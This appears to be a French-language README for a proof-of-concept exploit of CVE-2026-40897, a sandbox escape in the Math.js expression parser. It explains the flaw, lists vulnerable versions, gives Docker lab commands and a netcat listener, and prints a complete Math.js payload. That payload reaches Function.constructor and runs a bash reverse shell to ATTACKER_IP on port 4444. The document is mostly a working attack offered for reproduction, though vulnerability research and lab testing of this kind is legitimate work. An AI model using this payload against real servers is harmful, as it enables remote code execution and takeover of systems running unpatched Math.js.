
Proof-of-concept d'exploit pour CVE-2026-40897, un contournement du bac à sable de l'analyseur d'expressions Math.js permettant l'exécution de code à distance via des charges utiles conçues et un laboratoire Docker.
★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 est une vulnérabilité de contournement de sandbox menant à l'exécution de code à distance dans le parseur d'expressions de Math.js. Le filtre
isSafePropertyne vérifie l'accès aux propriétés que depuis les expressions utilisateur, et non depuis les chemins de code internes. En divulguant le tableau interne d'ArrayNodeviatoJSON()et en écrasant son.map, un attaquant peut forcer le code interne à accéder àFunction.constructoret exécuter du JavaScript arbitraire.
| Catégorie | Version |
|---|---|
| Vulnérable | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| Corrigée | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.
nc -lvnp 4444
Envoyez l'expression suivante à math.evaluate (par exemple, via le champ de calcul de l'application).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Le serveur cible se connecte au listener de l'attaquant, octroyant un shell bash interactif.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) via le parseur d'expressions